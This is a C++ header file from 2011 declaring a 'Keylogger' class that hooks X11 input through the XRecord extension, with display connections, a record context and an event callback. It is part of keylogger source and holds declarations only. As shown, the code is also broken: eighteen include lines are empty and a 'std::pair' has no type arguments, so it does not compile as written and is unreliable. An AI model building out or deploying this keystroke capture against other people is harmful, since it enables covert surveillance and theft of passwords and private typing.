// // Keylogger.hpp for Keylogger clas in /home/vianney // // Made by Vianney Bouchaud // Login // // Started on Wed Oct 5 13:59:20 2011 Vianney Bouchaud // Last update Thu Oct 6 19:04:04 2011 Vianney Bouchaud // #ifndef __KEYLOGGER_HH__ # define __KEYLOGGER_HH__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include struct CallbackClosure { Display *ctrlDisplay; Display *dataDisplay; int curX; int curY; void *initialObject; }; typedef union { unsigned char type; xEvent event; xResourceReq req; xGenericReply reply; xError error; xConnSetupPrefix setup; } XRecordDatum; class Keylogger { public: Keylogger(); ~Keylogger(); void start(); void stop(); void processData(); bool xConnect(std::string displayName); private: std::string m_displayName; CallbackClosure userData; std::pair recVer; XRecordRange *recRange; XRecordClientSpec recClientSpec; XRecordContext recContext; void setupRecordExtension(); static void eventCallback(XPointer priv, XRecordInterceptData *hook); }; #endif /* !__KEYLOGGER_HH__ */